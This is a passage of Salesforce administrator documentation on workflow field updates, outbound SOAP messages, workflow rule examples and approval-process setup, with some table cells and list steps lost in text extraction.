You can update long text area fields, but the option to insert A specific value restricts you to entering up to 255
characters.
1803
Create
You can't make a field universally required if it's used by a field update that sets the field to a blank value. For details, see
About Universally Required Fields on page 1196.
Workflow rules that update owners do not also transfer associated items. To ensure transfer, click Change next to the
owners name in a record and make your transfer selections.
See Also:
Defining Field Updates
Managing Field Updates
Understanding Cross-Object Field Updates
Customize Application
AND
Manage Translation
AND
Manage Territories (if territories are enabled)
An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you
designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP
message to the endpoint.
To get started using outbound messages, click Your Name > Setup > Create > Workflow & Approvals > Outbound Messages.
1804
Create
A single SOAP message can include up to 100 notifications. Each notification contains an ID that uniquely identifies a
record, and a reference to the data in the record. Therefore, if the information in the record changes after the notification
is sent, but before the notification is delivered, only the updated information is delivered.
Messages are queued until they are sent, to preserve message reliability.
If the endpoint is unavailable, messages will stay in the queue until sent successfully or until they are 24 hours old. After
24 hours, messages are dropped from the queue.
If a message can't be delivered, the interval between retries increases exponentially, up to a maximum of two hours between
retries.
Messages are retried independent of their order in the queue. This may result in messages being delivered out of order.
You can't build an audit trail using outbound messages. While each message should be delivered at least once, it may be
delivered more than once. Also, it may not be delivered at all if delivery cannot be done within 24 hours. Finally, as noted
above, the source object may change after a notification is sent but before it is delivered, so the endpoint will only receive
the latest data, not any intermediate changes.
Encrypted custom fields aren't available in outbound messages.
You can create workflow rules and approval processes on junction objects; but you can't create outbound messages on
junction objects.
See Also:
Defining Outbound Messages
Tracking Outbound Message Delivery Status
Workflow and Approvals Overview
Managing Workflow Rules
Web Services API Developer's Guide
Metadata API Developer's Guide
1805
Create
Customize Application
AND
Manage Translation
AND
Manage Territories (if territories are enabled)
An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you
designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP
message to the endpoint.
When you associate an outbound message with a workflow rule, approval process, or entitlement process, the outbound message
sends the selected information to the associated endpoint URL when the workflow rule or approval process is triggered. Once
the endpoint URL receives the message, it can take the information from the message and process it, assuming that the Web
service has been configured appropriately.
For security reasons, Salesforce restricts the outbound ports you may specify to one of the following:
1806
Create
Tip: To create workflow rules for case comments so that comments added to cases send outbound messages when
a rule is triggered, select Case Comment in the Object drop-down list when creating a new workflow rule.
4. Configure the outbound message.
a. Enter a name for this outbound message.
b. Enter a unique name to refer to this component in the API. The requirement for uniqueness is only within the selected
object type. You can have actions of the same type with the same unique name, provided they are defined for different
objects. The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within
the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two
consecutive underscores.
c. Enter a description.
d. Enter an endpoint URL for the recipient of the message. Salesforce sends a SOAP message to this endpoint.
e. Select the Salesforce user to use when sending the message. The chosen user controls data visibility for the message
that is sent to the endpoint.
f. Check the Protected Component check box to mark the outbound message as protected. For more information,
see the Force.com Quick Reference for Developing Packages.
g. Select Send Session ID if you want the Salesforce session ID included in the outbound message. Include the session
ID in your message if you intend to make API calls and you don't want to include a username and password. Never
send a username and password in an unencrypted message, especially in a production environment. It isnt secure.
h. Select Add failures to failed outbound message related list if you want this message to move to
the failed outbound messages related list after all retries have been attempted. If you don't see this option, failed outbound
message notifications aren't enabled for your organization. Contact your salesforce.com representative.
i. Select the fields to include in the outbound message and click Add.
5. Click Save, and review the outbound message detail page:
The API Version field is automatically generated and set to the current API version when the outbound message
was created. This API version is used in API calls back to Salesforce using the enterprise or partner WSDLs. The API
Version can only be modified by using the Metadata API.
Click the Click for WSDL link to view the WSDL associated with this message.
The WSDL is bound to the outbound message and contains the instructions about how to reach the endpoint service
and what data is sent to it.
1807
Create
7. To put outbound messages into action, associate them with a workflow rule, approval process, or entitlement process.
See Also:
Tracking Outbound Message Delivery Status
Managing Outbound Messages
Workflow and Approvals Overview
Entitlement Management Overview
Web Services API Developer's Guide
Customize Application
Workflow actions created for a workflow rule or approval process can be associated with other workflow rules and approval
processes.
To associate existing workflow actions with a workflow rule:
1.
2.
3.
4.
5.
6.
7.
8.
Click Your Name > Setup > Create > Workflow & Approvals > Workflow Rules.
Select the workflow rule.
Click Edit in the Workflow Actions section.
Click Add Workflow Action in either the Immediate Workflow Actions or Time-Dependent Actions section, depending
on when you want the action to occur, and choose Select Existing Action. See Configuring Workflow Actions on page
1781.
Select the type of action to associate with the workflow rule. The Available Actions box lists all existing actions of that
type.
Enter the name of a specific action in the text field and click Find.
Select the actions in the Available Actions box and use the right arrow to move them to the Selected Actions box. If
necessary, select the left arrow to remove actions from the Available Actions box.
Click Save.
Click Add Existing in the Initial Submission Actions, Final Approval Actions, Final Rejection Actions, or Recall
Actions section.
1808
Create
4.
5.
6.
7.
Click Show Actions in the Approval Steps section, then click Add Existing in the Approval, Rejection, or Recall
Actions section.
See Also:
Managing Workflow Rules
Creating Workflow Rules
Managing Workflow Actions
Customize Application
Use the following workflow rule examples to learn how you can implement common business objectives.
Business Processes
Follow Up when a Platinum Contract Case Closes
New Customer Credit Check
Platinum Account Owner Visibility on High Priority Cases
Updating Shipment Status if Shipment Is Delayed
Cross-Object Processes
Cases Filed for Top Accounts
Setting Default Opportunity Name
Setting the Target Resolution Date for Cases
Updating Application Record When Candidate Accepts Job
1809
Create
Deal Management
Tracking Closed Opportunities
Default Opportunity Close Date
Reporting Lost Opportunities
Unassigned Lead Management
Notifications
Change of Account Owner
Contact Birthday Reminder
High Value Opportunity
Notify Account Owners of Updates by Others
See Also:
Workflow and Approvals Overview
Managing Workflow Actions
Creating Workflow Rules
Time-Dependent Action and Time Trigger Considerations
Managing Email Alerts
Managing Tasks for Workflow and Approvals
Managing Field Updates
Business Processes
Follow Up when a Platinum Contract Case Closes
This example assumes there is a Contract Type custom picklist used to identify the contract level on cases, and that the
picklist contains the value Platinum.
Object
Case
Description
Send a feedback request in email to the case contact seven days after a high priority case is closed
if the customer has a platinum contract agreement.
Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.
Immediate Actions
None
Time-Dependent
Actions
7 Days After Case: Date/Time ClosedEmail Alert: Send a feedback request to the case
contact.
1810
Create
Opportunity
Description
Assign the Accounts Receivable (AR) department a task to check the credit of a potential customer
15 days before the opportunity close date if the amount is greater than $50,000.
Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.
Immediate Actions
None
Time-Dependent
Actions
15 Days Before Opportunity: Close DateTask: Create a task for users in the Accounts
Receivable role to run a credit check.
Case
Description
Notify the account owner when a high priority case is created for accounts with a platinum service
level agreement.
Evaluation Criteria
Immediate Actions
Email Alert: Email the details of the high priority case to the account owner.
Time-Dependent
Actions
None.
Shipment
Description
Update the Shipment Status field to Delayed if a shipment has exceeded the expected delivery
date and not reached the customer.
Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.
1811
Create
Immediate Actions
None.
Time-Dependent
Actions
1 day after Shipment: Expected Delivery DateField Update: Change Shipment Status field
to Delayed on Shipment record.
Cross-Object Processes
Cases Filed for Top Accounts
Use the following workflow rule if your sales VP wants to know about any cases filed for top accounts, where top accounts are
determined by size and revenue.
Object
Case
Description
Evaluation Criteria
Immediate Actions
Time-Dependent
Actions
None.
Opportunity
Description
Evaluation Criteria
Immediate Actions
Time-Dependent
Actions
None.
1812
Create
Case
Description
Sets the case target resolution date for accounts that have basic support level to 30 days from
today.
Evaluation Criteria
Immediate Actions
Time-Dependent
Actions
None.
Case
Description
Sets the case target resolution date for accounts that have standard support level to 14 days from
today.
Evaluation Criteria
Immediate Actions
Time-Dependent
Actions
None.
Case
Description
Sets the case target resolution date for accounts that have premium support level to 5 days from
today.
Evaluation Criteria
1813
Create
Immediate Actions
Time-Dependent
Actions
None.
Candidate
Description
Changes the Application Status to Closed for the custom Application object when the Candidate
Status for the custom Candidate object changes to Accepted.
Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.
Immediate Actions
Field Update: Change Application Status field to Closed on parent Application record.
Time-Dependent
Actions
None.
Deal Management
Tracking Closed Opportunities
This example assumes there is a Closed Opportunities record type that provides additional information to certain profiles.
Note: For information on record types, see Managing Record Types on page 1268.
Object
Opportunity
Description
Evaluation Criteria
1814
Create
Immediate Actions
Time-Dependent
Actions
None.
Opportunity
Description
Override the default close date from the close of the quarter to six months after the opportunity
is created.
Evaluation Criteria
Immediate Actions
Field Update: Use the following formula to set the opportunity close date to six months after
Time-Dependent
Actions
None.
Opportunity
Description
Notify the VP of Sales when a deal is lost if the stage was Proposal/Price Quote and the amount
was greater than $1,000,000.
Evaluation Criteria
Immediate Actions
Email Alert: Notify the VP of Sales role that the deal was lost.
Time-Dependent
Actions
None.
Lead
1815
Create
Description
Ensure that unassigned leads are tracked in a timely manner by notifying the manager if a lead
is not accepted in two days.
Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.
Immediate Actions
None.
Time-Dependent
Actions
2 Days After Lead: Last Modified DateEmail Alert: Notify the manager role that there
are unassigned leads in the queue that are older than two days.
Description
Ensure that an email alert is sent if a sales rep applies a quote line item discount that exceeds
40%.
Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.
Immediate Actions
Email Alert: Notify the manager role that the quote line item discount exceeds 40%.
Time-Dependent
Actions
None.
Notifications
Change of Account Owner
Object
Account
Description
Notify key people in the sales department when the owner of an account changes if the account's
annual revenue is greater than $1,000,000.
Evaluation Criteria
Immediate Actions
Email Alert: Notify the person in the sales operations role of the change in account ownership.
Time-Dependent
Actions
None.
1816
Create
Object
Contact
Description
Send an email to the contact two days before the contact's birthday.
Evaluation Criteria
Immediate Actions
None.
Time-Dependent
Actions
2 Days Before Contact: Next BirthdayEmail Alert: Send a birthday greeting to the contact's
email address.
Opportunity
Description
Remind the opportunity owner and senior management when the close date is approaching for
a large deal, an opportunity that has an amount greater than $10,000. Also, create a follow-up
task for the opportunity owner if the deal is still open when the close date passes.
Evaluation Criteria
When a record is created, or when a record is edited and did not previously meet the rule criteria.
Immediate Actions
None.
Time-Dependent
Actions
30 Days Before Opportunity: Close DateEmail Alert: Notify the opportunity owner
that 30 days remain.
15 Days Before Opportunity: Close DateEmail Alert: Notify the opportunity owner
that 15 days remain.
5 Days After Opportunity: Close DateTask: Create a follow-up task for the opportunity
owner to update the deal. Email Alert: Notify senior management to involve executives.
Account
1817
Create
Description
Notify the account owner when someone else updates the account if the account's annual revenue
is greater than $1,000,000.
Evaluation Criteria
Immediate Actions
Email Alert: Notify the account owner that someone else has updated the account.
Time-Dependent
Actions
None.
Customize Application
You can request that up to five users receive a notification listing all outbound messages that have failed for at least 24 hours.
A fresh notification is sent every 24 hours until you cancel the request.
Failed messages are deleted from the failed outbound messages related list after seven days. Before they are removed, you can
delete them yourself or request that they be retried again.
To view the current outbound message notification requests, click Your Name > Setup > Monitoring > Outbound Message
Notifications.
You can perform several tasks here:
Edit a notification.
Delete a notification. Since you can only create five, you may need to delete one before you can create more.
Create a new notification request.
Note: If you don't have this option, your organization doesn't have outbound messages enabled. Contact salesforce.com
to enable outbound messages.
1818
Create
You can request that up to five users receive a notification listing all outbound messages that have failed for at least 24 hours.
A fresh notification is sent every 24 hours until you cancel the request.
To create a notification request:
1.
2.
3.
4.
Click Your Name > Setup > Monitoring > Outbound Message Notifications.
Click New.
Enter a full username, or click the icon to select it from a list of usernames.
Click Save to save the request, or Save & New to save this request and create a new one.
Note: If you don't have this option, your organization doesn't have outbound messages enabled. Contact salesforce.com
to enable outbound messages.
You can request that up to five users receive a notification listing all outbound messages that have failed for at least 24 hours.
A fresh notification is sent every 24 hours until you cancel the request.
This page is displayed when you have saved a new notification request. You can:
Click Edit to change the username for a notification request. This is simpler than deleting the request and then creating
a new one.
Click Delete to delete the notification request.
Click Clone to create a new notification request with the same username.
1819
Create
Workflow Terminology
Workflow Terminology
Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Approvals, Tasks, and Email Alerts are not available in Database.com
Workflow Rule
A workflow rule sets workflow actions into motion when its designated conditions are met. You can configure workflow
actions to execute immediately when a record meets the conditions in your workflow rule, or set time triggers that execute
the workflow actions on a specific day. If a workflow action hasnt executed yet, you can view and modify it in the
Workflow Queue. See Managing Workflow Rules to get started using workflow rules. For a list of the maximum number
of rules allowed in each organization, see Salesforce Editions and Limits.
Workflow Action
A workflow action is an email alert, field update, outbound message, or task that fires when the conditions of a workflow
rule are met.
Email Alert
Email alerts are workflow and approval actions that are generated using an email template by a workflow rule or approval
process and sent to designated recipients, either Salesforce users or others. Workflow alerts can be sent to any user or
contact, as long as they have a valid email address. To get started using email alerts, see Managing Email Alerts.
Field Update
Field updates are workflow and approval actions that specify the field you want updated and the new value for it.
Depending on the type of field, you can choose to apply a specific value, make the value blank, or calculate a value based
on a formula you create. To get started using field updates, see Managing Field Updates.
Task
Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and Due Date of the task.
Tasks are workflow and approval actions that are triggered by workflow rules or approval processes. To get started using
tasks, see Managing Tasks for Workflow and Approvals.
Outbound Message
An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint
you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a
SOAP message to the endpoint. To get started using outbound messages, see Managing Outbound Messages.
Flow
A flow starts out as a process or decision diagram created in the Flow Designer. Once uploaded and run in Salesforce,
it becomes an application for navigating users through a series of screens. To get started using flows, see About Visual
Workflow on page 1878.
1820
Create
Your business runs more efficiently with automated processes. For example, you may already have workflow rules that
automatically send email alerts or assign tasks based on your internal processes. Approvals take automation one step further,
allowing you to specify a sequence of steps that are required to approve a record.
An approval process is an automated process your organization can use to approve records in Salesforce. An approval process
specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records
included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when
a record is approved, rejected, recalled, or first submitted for approval.
For example, your organization may have a two-step process for approving expenses: submitted expenses that are less than
$50 are automatically approved, those over $50 must be approved by a manager, and those over $5,000 must also be approved
by a Vice President. In this example, your approval process would specify the following:
If an expense record is submitted for approval, lock the record so that users cannot edit it and change the status to
Submitted.
If the amount is $50 or less, automatically approve the request.
If the amount is greater than $50, send an approval request to the direct manager.
If the amount is greater than $5,000 and the first approval request is approved, send an approval request to the Vice
President.
If all approval requests are approved, change the status to Approved and unlock the record.
If any approval requests are rejected, change the status to Rejected and unlock the record.
1821
Create
To begin designing your approval processes, see Getting Started with Approval Processes on page 1824.
See Also:
Creating Approval Processes
Approval Process Terminology
Examples of Approval Processes
Description
Task
Assigns a task to a user you specify. You can specify the Subject, Status, Priority,
and Due Date of the task.
Email Alert
Field Update
Changes the value of a selected field. You can specify a value or create a formula for the
new value.
Outbound Message
Sends a message to an endpoint you designate. You can also specify a username and the
data you want to include in the message.
Approval steps, initial submission, final approvals, final rejections, and recalls can execute approval actions. Both approval
process and workflow rules share actions.
Approval Process
An approval process is an automated process your organization can use to approve records in Salesforce. An approval
process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply
to all records included in the process, or just records that have certain attributes. An approval process also specifies the
actions to take when a record is approved, rejected, recalled, or first submitted for approval. For more information, see
Approval Processes Overview on page 1821.
1822
Create
Approval Request
An approval request is an email or a Chatter post notifying the recipient that a record was submitted for approval and
that his or her approval is requested.
Approval Steps
Approval steps assign approval requests to various users and define the chain of approval for a particular approval process.
Each approval step specifies the attributes a record must have to advance to that approval step, the user who can approve
requests for those records, and whether to allow the delegate of the approver to approve the requests. The first approval
step in a process also specifies the action to take if a record does not advance to that step. Subsequent steps in the process
also allow you to specify what happens if an approver rejects the request.
Assigned Approver
The assigned approver is the user responsible for approving an approval request.
Delegated Approver
A delegated approver is a user appointed by an assigned approver as an alternate for approval requests. Delegated approvers
can't reassign approval requests; they can only approve or reject approval requests.
Email Approval Response
The email approval response feature gives users the ability to approve or reject email approval requests by replying to the
email. Approvers must have the API Enabled system permission to approve or reject approval requests via email.
The first line of the email body may contain one of the following words:
approve
approved
yes
reject
rejected
no
Periods and exclamation marks are also accepted at the end of the word. You can also optionally add comments in the
second line of the email body. Users can still click a link in the email to access the approval page as well. This feature is
especially useful for organizations with users who receive approval requests on mobile devices.
To enable email approval response, see Customizing Workflow and Approval Settings on page 1788.
Note: Before enabling email approval response, note that you cannot use this feature with approval processes
in which the assigned approver is a queue, or in a multi-step approval process in which the next approver is
manually chosen after the first step. Also, users that use Microsoft Word as their email editor must add the
comments to the end of the first line of the reply email instead of the second.
Initial Submission Actions
Initial submission actions are the actions that occur when a user first submits a record for approval. By default, an action
to lock the record runs automatically on initial submission. Initial submission actions can include any approval actions
such as email alerts, field updates, tasks, or outbound messages. For example, an initial submission action can update a
custom approval status field to In Progress.
1823
Create
See Also:
Approval Processes Overview
Getting Started with Approval Processes
Approval Process Checklist
Customize Application
An approval process is an automated process your organization can use to approve records in Salesforce. An approval process
specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records
1824
Create
included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when
a record is approved, rejected, recalled, or first submitted for approval.
Before you begin creating an approval process:
Review the Approval Process Checklist to prepare for your implementation and determine what wizard to use.
Optionally, enable the email approval response option. The email approval response feature gives users the ability to approve
or reject email approval requests by replying to the email. Approvers must have the API Enabled system permission to
approve or reject approval requests via email. See Customizing Workflow and Approval Settings on page 1788.
Add the Approval History related list to the appropriate page layout. The Approval History related list lets users submit
approval requests and track a record's progress through an approval process from the record detail page. See Customizing
Page Layouts on page 1278.
Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of
the approval requests they need to approve or reject. For instructions on adding this related list, see Designing Home
Tab Page Layouts on page 1301.
Populate all custom hierarchy fields with the appropriate values.
8. Use the Process Visualizer to display a graphical version of an approval process. The view-only diagram is presented as a
flowchart. The diagram and informational sidebar can help you visualize and understand the defined steps, rule criteria,
and actions that comprise your approval process.
Note: Standard reports for approval requests are included in both the Administrative Reports folder and the Activities
Reports folder. See Administrative Reports on page 3021 and Activity Reports on page 3019.
See Also:
Approval Process Terminology
Approval Process Considerations
Managing Approval Processes
Using the Approval Process Jump Start Wizard
Choosing an Approval Process Wizard
Examples of Approval Processes
Process Visualizer Overview
1825
Create
Plan each approval process carefully to ensure a successful implementation. Review the following checklist about preparing
the appropriate information before creating your approval process.
1826
Create
Each step in your approval process can assign approval requests using any of these options.
Should approval requests be delegated to another user for approval?
An approval request can be approved by an approver's designated delegate. However, you can disable this option. Decide
if you want to allow delegated users to approve requests. Then, for each user, populate the Delegated Approver field
on the user's detail page.
What records should be included in this process?
Determine what attributes a record must have to be included in your approval process. If necessary, create the custom
fields to store this information so that you can use it in your filter criteria. For example, if you want to include expense
records from your headquarters office only, create a custom picklist field called Office Location that has two options:
HQ and Field. Then, you would specify in your filter criteria that records must have HQ in the Office Location
field to be included in the approval process.
What should happen when a record is first submitted for approval?
When users submit a record for approval, Salesforce automatically locks the record so that other users cannot change it
while it is awaiting approval. You can still add campaign members to campaigns locked for approval.
Decide if you want other workflow actions to happen when a record is first submitted, such as email alerts, tasks, field
updates, and outbound messages. These actions become your Initial Submission Actions.
Should users be able to approve requests from a mobile device?
Determine if you want to require users to log in to Salesforce to approve requests. You can also set up your approval
process to allow users to approve requests remotely using a mobile browser.
Who can edit records that are awaiting approval?
Records submitted for approval are automatically locked. Users with the Modify All object-level permission for the
given object, or the Modify All Data permission, can always unlock a record and edit it. However, you may also specify
that the currently assigned approver can edit the record as well. You can still add campaign members to campaigns locked
for approval.
Should records be automatically approved, rejected, or skipped based on certain criteria?
You can set entry criteria for each step of your process, and configure Salesforce to automatically approve, reject, or skip
the process if a record does not meet that entry criteria. For example, all expenses submitted with an Amount less than
$15 are automatically approved.
How many people need to approve these requests?
An approval process can have several layers of approvals. Determine how many users need to approve requests and in
what order.
1827
Create
Description
Task
Assigns a task to a user you specify. You can specify the Subject, Status, Priority,
and Due Date of the task.
Email Alert
Field Update
Changes the value of a selected field. You can specify a value or create a formula for the
new value.
Outbound Message
Sends a message to an endpoint you designate. You can also specify a username and the
data you want to include in the message.
You can also set up to 40 additional actions to take place when a record has received all necessary approvals or is completely
rejected.
See Also:
Getting Started with Approval Processes
Approval Processes Overview
Examples of Approval Processes
Customize Application
An approval process is an automated process your organization can use to approve records in Salesforce. An approval process
specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records
included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when
a record is approved, rejected, recalled, or first submitted for approval.
Use these samples of common approval processes to help you get started creating your own:
1828
Create
Note: If your organization has both Approvals and Chatter enabled, administrators can turn on Approvals in Chatter,
which lets users receive approval requests as posts in their Chatter feed. To find out more about how Chatter can
enhance your approval processes, see About Approvals in Chatter on page 1856.
Most companies require employees to file a PTO (Paid Time Off) request and have their manager approve it. In three phases,
here's how to automate a simple one-step PTO request process using Salesforce.
Prep Your Organization
Before creating the approval process:
If you do not yet have a custom object to track your PTO requests, create a custom object and tab called PTO Requests.
Add the appropriate fields for your PTO Requests such as Start Date, End Date, and Employee Name. See Defining
Custom Objects on page 1735 and Defining Custom Tabs on page 1771.
Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 472.
Select the email template you created for this approval process.
Don't specify filter criteria if you want each user to submit PTO requests and have them included regardless of their
attributes.
Select the Automatically assign an approver using a standard or custom hierarchy field option,
then choose Manager.
The jump start wizard automatically chooses the record owner as the only person who can submit PTO requests.
Tip: If you want the submitter to be able to withdraw a submitted PTO request:
1. Click Edit and choose Initial Submitters.
2. Select Allow submitters to recall approval requests.
If the Allow submitters to recall approval requests option is selected for the approval process, both submitters and
administrators can see the Recall Approval Request button in the Approval History related list on the detail page of
submitted records; otherwise, only administrators can see it. When a user clicks Recall Approval Request, the pending
approval request for the record is withdrawn and recall actions are run. For more information, see Recall Actions on
page 1853.
Wrap Things Up
After creating the approval process, add the Approval History related list to the PTO Request object page layout. See
Customizing Page Layouts on page 1278.
1829
Create
Tip: Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant
view of the approval requests they need to approve or reject. For instructions on adding this component to your home
page layouts, see Designing Home Tab Page Layouts on page 1301.
If available, use your sandbox to test the approval process, then activate it.
If your company requires that employees file expense reports for managers to approve, you can automate this process in
Salesforce. Use this example to create a two-step expense report approval process for all employees in your headquarters office.
It specifies that expenses less than $50 are automatically approved, those $50 and over require manager approval, and those
over $5,000 require additional approval from two VPs. This example highlights the else option, as well as the parallel approvals
feature.
Prep Your Organization
Before creating the approval process:
If you do not yet have a custom object to track your expenses, create a custom object and tab called Expense Reports. See
Defining Custom Objects on page 1735 and Defining Custom Tabs on page 1771. Add the appropriate fields such as Amount,
Description, Status, Start Date, and End Date.
Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 472.
Create a custom field on the user object called Office Location. Assign the HQ value to users in the headquarters
office location.
The filter criteria for this approval process is Current User: Office Location equals HQ. Records must meet
this criteria before they can be submitted to this approval process.
Choose the Manager field as the next automated approver.
Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 472.
Choose the record owner or any other user who you want to be able to submit expense reports.
Create two approval steps:
1. Create a step named Step 1: Manager Approval with the following specifications:
Name this step Step 1: Manager Approval.
Select Enter this step if the following and choose criteria are met. Also, choose approve record for
the else option.
Set the filter criteria to: Expense: Amount greater or equal 50.
In the Automatically assign to approver(s) option, select the manager of the user submitting the request.
If appropriate, choose The approver's delegate may also approve this request if you want to
allow the user in the Delegated Approver field to approve requests.
1830
Create
2. Create a second approval step named Step 2: Multiple VP Approval and specify the following:
Use the filter criteria Expense Amount greater or equal 5000.
Choose Automatically assign to approver(s) and select two users with a VP role.
Select the Require UNANIMOUS approval from all selected approvers option. The request will not
be approved unless both designated users approve.
If appropriate, choose The approver's delegate may also approve this request if you want to
allow the user in the Delegated Approver field to approve requests.
Choose Perform ONLY the rejection actions for this step... so that the request returns to the
manager for changes if one of the VPs rejects the request.
Tip: Consider creating the following final approval actions:
Wrap Things Up
After creating the approval process, add the Approval History related list to the Expense Report object page layout. See
Customizing Page Layouts on page 1278.
Tip: Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant
view of the approval requests they need to approve or reject. For instructions on adding this component to your home
page layouts, see Designing Home Tab Page Layouts on page 1301.
If available, use your sandbox to test the approval process, then activate it.
Opportunities that are discounted more than 40% require a CEO approval. Use this example to create a one-step approval
process.
Prep Your Organization
Before creating the approval process:
Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 472.
Create a custom percent field on opportunities called Discount Percent so that users can enter a percentage discount.
Create a custom checkbox field on opportunities called Discount Approved to indicate if the CEO approved the
discount.
1831
Create
The filter criteria for this approval process is Discount Percent greater or equal 0.04. Records must meet
this criteria before they can be submitted to this approval process.
You don't need to choose a custom field as the next automated approver because you will specify later in the process that
the CEO must approve all requests.
Select the email template you created for this approval process.
Choose the record owner as the only user who can submit a discount request for approval.
Create one approval step with no filter criteria because all records submitted will need to be approved or rejected. See
Creating Approval Steps on page 1845.
Choose Automatically assign to approver(s) and select the name of your CEO.
If appropriate, choose The approver's delegate may also approve this request if you want to allow the
user in the Delegated Approver field to approve requests.
Consider creating the following final approval actions:
Send an approval notification to the user who submitted the discount request.
Define a field update to automatically select the opportunity Discount Approved checkbox field.
Wrap Things Up
After creating the approval process, add the Approval History related list to the appropriate opportunity page layouts. See
Customizing Page Layouts on page 1278.
Tip: Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant
view of the approval requests they need to approve or reject. For instructions on adding this component to your home
page layouts, see Designing Home Tab Page Layouts on page 1301.
If available, use your sandbox to test the approval process, then activate it.
When your company interviews candidates for a position, you may have several levels of approval before you can send an offer
letter. Use this example to create a three-step approval process that requires approval from multiple management levels.
Prep Your Organization
Before creating the approval process:
If you don't yet have a custom object to track candidates, create a custom object and tab called Candidates. See Defining
Custom Objects on page 1735 and Defining Custom Tabs on page 1771. Add the appropriate fields such as Salary, Offer
Extended (checkbox), and Date of Hire.
Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 472.
1832
Create
Don't enter filter criteria because you want all submitted offers to be approved.
Choose the Manager field as the next automated approver.
Select the email template you created for this approval process.
Choose the record owner or any other user that you want to be able to submit offer letters.
Create three approval steps:
1. Create a step named Step 1: Manager Approval:
No filter is necessary as you want all records to advance to this step.
In the Automatically assign to approver(s) option, select the manager of the user submitting the request.
If appropriate, choose The approver's delegate may also approve this request if you want to
allow the user in the Delegated Approver field to approve requests.
2. Create a second step named Step 2: VP Approval:
No filter is necessary as you want all records to advance to this step.
Choose Let the user choose the approver to allow the manager to select the appropriate VP to approve
the request.
If appropriate, choose The approver's delegate may also approve this request if you want to
allow the user in the Delegated Approver field to approve requests.
Choose Perform ONLY the rejection actions for this step... so that the request returns to the
manager for changes if the VP rejects the request.
3. Create a third step named Step 3: CFO Approval:
No filter is necessary as you want all records to advance to this step.
Choose Automatically assign to approver(s) and select the name of your CFO.
If appropriate, choose The approver's delegate may also approve this request if you want to
allow the user in the Delegated Approver field to approve requests.
Choose Perform all rejection actions for this step AND all final rejection actions.
(Final Rejection) so that offer letters rejected by your CFO are completely rejected.
Tip:
Wrap Things Up
After creating the approval process, add the Approval History related list to the Candidates object page layout. See Customizing
Page Layouts on page 1278.
1833
Create
Tip: Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant
view of the approval requests they need to approve or reject. For instructions on adding this component to your home
page layouts, see Designing Home Tab Page Layouts on page 1301.
If available, use your sandbox to test the approval process, then activate it.
Approval processes require planning and preparation. Before you create an approval process, determine which wizard is best
for your needs.
Jump Start Wizard
The jump start wizard is useful for simple approval processes with a single step. Use the jump start wizard if you want
to create an approval process quickly by allowing Salesforce to automatically choose some default options for you. For a
list of the options the jump start wizard chooses automatically, see Approval Process Jump Start Default Selections on
page 1865.
To create an approval process using the jump start wizard, see Using the Approval Process Jump Start Wizard on page
1862.
Standard Wizard
The standard wizard is useful for complex approval processes. Use it when you want to fine tune the steps in your approval
process. The standard wizard consists of a setup wizard that allows you to define your process and another setup wizard
that allows you to define each step in the process.
To create an approval process using the standard wizard, see Creating Approval Processes on page 1838.
See Also:
Approval Processes Overview
Getting Started with Approval Processes
Examples of Approval Processes
1834
Create
Before you implement an approval process for your organization, consider the following:
Active approval processes can't be deleted but they can be deactivated. Before deleting an approval process, make sure it
is inactive and that no records have been submitted for approval. If any records have been submitted, delete them and
remove them from the Recycle Bin.
You can enable email approval response. The email approval response feature gives users the ability to approve or reject
email approval requests by replying to the email. Approvers must have the API Enabled system permission to approve
or reject approval requests via email.
If you make your approval object a detail object in a master-detail relationship, the Owner field isnt available for approval
page layouts or approval post templates.
Educate your users on the criteria for each approval process and what each of your approval processes does. Users can't tell
what approval process is triggered when they click Submit for Approval.
Records are locked while in an approval process. The ability to edit a locked record depends on the record editability setting
of the approval process:
Administrators ONLY: Only users with the Modify All object-level permission for the given object, or the Modify
All Data permission, can edit locked records.
Administrators or the currently assigned approver...: The current approver and users who match
the Administrators ONLY criteria can edit locked records. The current approver must also have edit access to the
record through their permissions and the organization-wide sharing defaults for the given object.
You can still add campaign members to campaigns locked for approval.
Approval processes that allow the user to select an approver manually also allow the user submitting a request to select
himself or herself as the approver.
When you need to update the criteria are met, else and rejection behavior for a step in an inactive, multi-step
approval process, update both at the same time. An error can occur if you change your criteria, save the step, then go back
in to change the rejection behavior.
An approval process can specify a field update action that re-evaluates workflow rules for the updated object. If, however,
the re-evaluated workflow rules include a cross-object field update, those cross-object field updates will be ignored. To
